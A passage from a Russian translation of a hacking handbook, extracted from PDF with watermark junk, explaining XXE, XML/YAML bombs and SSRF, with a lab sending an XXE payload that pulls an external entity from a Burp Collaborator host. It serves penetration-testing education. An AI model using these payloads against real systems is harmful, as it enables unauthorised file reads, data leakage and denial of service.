Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

]>

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

<user>

<name>Dade Murphy</name> <id>1</id>

<email type="local">admin@localhost</email> <company>&company;</company>

</user>

Атаки XXE 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

253 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Можно передать этот XML-документ парсеру как, например, часть запроса нааутентификациюспомощьюAPI.Когданаступитвремяпреобразоватьсущность &company;, парсер установит соединение с config.ecorp.local по протоколу HTTP, и содержимое будет выведено в элементе <company>.

Менталитет злоумышленника будет учитывать способность пользователя влиять на поведение сервера и, возможно, искать способы злоупотребления им.

Атаки XXE

Атаки XXE используют тот факт, что XML-библиотеки разрешают внешние ссылки для DTD или сущностей. Разработчики могут не знать об этом потенциальномвектореатаки,иданные,вводимыевформатеXML,иногдаостаются несанированными. Например, будучи хакерами, обменивающимися данными с API, мы можем перехватывать SOAP-запросы и вставлять свои собственные XML-элементы во вредоносный код. Компонент на стороне сервера должен проанализировать этот код, чтобы узнать, что делать с данными. Если парсер ненастроендолжнымобразомиразрешаетналичиевнешнихсущностей,мож- ноиспользоватьсервердлячтенияфайловвсистеме,выполненияSSRF-иDoS- атак, а в некоторых случаях даже для выполнения кода.

Атака billion laughs

Атака billion laughs, также известная как XML-бомба, представляет собой DoS-атаку, которая направлена на перегрузку XML-парсера, заставляя его выделятьбольшепамяти,чемунегоесть,приотносительнонебольшомвходном буфере. В старых системах или на виртуальных машинах с ограниченной памятью такая атака быстро приведет к сбою приложения или даже хоста.

XML-бомба использует тот факт, что такие форматы файлов, как XML, позволяют пользователю устанавливать ссылки или указатели на другие произвольно определенные данные. В предыдущих примерах мы использовали расширение объекта для замены &company; данными, определенными либо в заголовке документа,либо где-то извне.

XML-бомба выглядиттак:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 254 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 10.Практические атаки на стороне сервера

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.10.1. XML-бомба

Парсер посмотрит на эти данные и станет расширять сущности начиная с корневого элемента <lolz>.Ссылка на сущность&lol9; будетуказыватьнадесятокдругихссылок,определенныхсущностью&lol8;. Этоповторяетсядотех пор, пока первая сущность, &lol;, не расширится до строки "lol". Результатом является выделение памяти для 10 ^ 9 (1 000 000 000) экземпляров строки "lol", или миллиард lol. На это может уйти до 3 ГБ памяти в зависимости от парсера и того, как он обрабатывает строки в памяти. На современных серверах эффект может быть минимальным, если эта атака не осуществляется распределенно через несколько подключений к приложению.

Как всегда, проявляйте осторожность при тестировании таких типов уязвимостей на клиентских системах. DoS-атаки обычно запрещены во время выполнения заданий.

В редких случаях, когда DoS-атака разрешена,XML-бомба может стать хорошим способом отвлечь ресурсы Синей команды, когда вы сосредоточены на другихучасткахсети,при условии что система не является критически важной для компании.

XML – это не единственный формат, который допускает DoS-атаку такого типа. Фактически любой язык, имеющий конструкции для создания указателей надругиеданные,можетподвергаться аналогичной атаке.YAML,удобочитаемый формат файлов,обычно используемый в файлах конфигурации,также разрешает указатели на данные, а следовательно, и YAML-бомбу.

Рис.10.2. YAML-бомба

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  255 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Эффект от таких атак сильно варьируется в зависимости от библиотеки и

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

управления памятью, а также от базовой операционной системы и доступной памяти. Хотя не каждая бомба выведет из строя систему, они иллюстрируют важность санации входных данных. Нарушение конфиденциальности и целостности может быть более привлекательным, но когда на доступность так легко повлиять с помощью нескольких строк кода, средства защиты должны обратить на это внимание.

Подделка запроса

Подделказапросапроисходит,когдаприложениепринудительновыполняет запрос к другому хосту или хостам на выбор злоумышленника.Расширение внешних сущностей – это разновидность SSRF-атаки, поскольку оно принуждает приложение подключаться к произвольным URL-адресам для загрузки DTD или других XML-данных.

Вхудшемслучае(иливлучшем–взависимостиотвашейперспективы)под- делка запроса, такая как XXE, может привести к утечке информации, слепой утечкеданных илидаже удаленному выполнению кода,как увидим позже.Тем не менее SSRF-атака также может быть использована для создания цепочки атак на внутренние непубличные серверы или даже для сканирования портов.

Чтобы проиллюстрировать эту атаку, будем использовать приложение для XML-парсинга, написанное на языке PHP. Код должен быть понятен большинству лиц, не являющихся разработчиками.

Рис.10.3. Простой XML-парсер на PHP

Краткий обзор кода:

строкис7-йпо11-юопределяютформуспомощьюHTML-тегов,которая позволяет пользователю отправлять XML-данные через запрос POST;

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 256  Глава 10.Практические атаки на стороне сервера

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

строки со 2-й по 5-ю обрабатывают входящий XML-текст с помощью

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

PHP-модуля SimpleXML. Проанализированные данные будут сохранены в качестве XML-объекта: $xml_object;

строкис13-йпо22-юаккуратноотображаютпроанализированныеXML- данные.

Мы можем запустить временный веб-сервер из командной строки, чтобы протестировать несколько SSRF-атак, направленных на наше уязвимое приложение, используя встроенный тестовый сервер PHP:

root@kali:/var/www/html# php -S 0.0.0.0:80

Наше приложение будет доступно по адресу http:/xml.parser. local.

Рис.10.4. Уязвимый XML-парсер работает

Чтобы протестировать возможности расширения внешних сущностей парсера, можно использовать форму для отправки короткого вредоносного XMLфайла, описывающего книгу. Мы будем использовать внешнюю сущность, размещенную Collaborator. Данный вредоносный код не является валидным, поскольку Collaborator отвечает стандартным HTML-ответом, но это позволит подтвердить,что приложение уязвимо.

Создадим новый экземпляр клиента Collaborator и передадим сгенерированный хост приложению в нашем вирусе.

В меню Burp выберите опцию Burp Collaborator client.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Атаки XXE 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

257 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.10.5. Запуск модуля клиента Collaborator

Создадим один хостCollaborator и выберем Copy to clipboard (Копироватьв буфер обмена) в окне клиента.Важно,чтобы мы не закрывали клиент Collaborator на время атаки после генерации имени хоста. Если закроем его прежде­ временно, Collaborator не сможет связать внеполосные запросы, отправленные к имени хоста, с сеансом Burp.

Рис.10.6. Копируем сгенерированное имя хоста Collaborator в буфер обмена

Сгенерированное значение будет выглядеть примерно так:

gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net

Теперь создадим XML-документ,который извлекает значение publisher из только что созданного хоста Burp Collaborator. Надеемся, что когда уязвимое приложение попытается извлечь внешний контент,Burp Collaborator перехватит запрос и подтвердит наличие уязвимости.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 258  Глава 10.Практические атаки на стороне сервера

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

<!DOCTYPE book [ <!ELEMENT book ANY >

<!ENTITY publisher SYSTEM "http://gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net/ publisher.xml">

]>

<book>

<title>The Flat Mars Society</title> <publisher>&publisher;</publisher> <author>Elon Musk</author>

</book>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Для этого подтверждения Collaborator не нужен. Можем использовать простой HTTP-сервер, работающий на нашем командноконтрольном сервере где-нибудь в облаке. Collaborator полезен, когда срочно нужен HTTPS или подтверждение должно быть сделано через DNS либо какой-нибудь другой протокол.

Результатом является аккуратно проанализированный объект, отображаемый красным цветом в нижней части экрана.

Рис.10.7. Отправка вредоносного кода XML и наблюдение за ответом

Мы видим, что сущность &publisher; была преобразована парсером, а это означает,чтоприложениеустановиловнешнеесоединениепопротоколуHTTP с нашим экземпляром Collaborator. Интересно отметить, что ответ HTML был